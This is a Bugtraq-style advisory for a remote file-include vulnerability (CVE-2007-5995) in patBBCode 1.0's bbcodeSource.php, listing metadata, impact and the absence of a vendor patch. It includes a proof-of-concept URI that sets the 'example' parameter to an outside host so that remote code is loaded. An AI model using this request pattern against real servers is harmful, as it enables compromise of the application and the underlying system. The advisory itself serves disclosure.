PHP Application Tools patBBCode BBCODESOURCE.PHP Remote File Include Vulnerability

Bugtraq ID:	26416
Class:	Input Validation Error
CVE:	CVE-2007-5995
Remote:	Yes
Local:	No
Published:	Nov 12 2007 12:00AM
Updated:	Nov 23 2007 08:24PM
Credit:	p4sswd discovered this vulnerability.
Vulnerable:	PHP Applicaton Tools patBBCode 1.0
Not Vulnerable:

PHP Application Tools patBBCode BBCODESOURCE.PHP Remote File Include Vulnerability

PHP Application Tools patBBCode is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects patBBCode 1.0; other versions may also be vulnerable.

PHP Application Tools patBBCode BBCODESOURCE.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/examples/patExampleGen/bbcodeSource.php?example=http://www.example2.com

PHP Application Tools patBBCode BBCODESOURCE.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

PHP Application Tools patBBCode BBCODESOURCE.PHP Remote File Include Vulnerability

References:

• patBBCode Homepage (PHP Application Tools)
  
• PHP Application Tools Homepage (PHP Application Tools)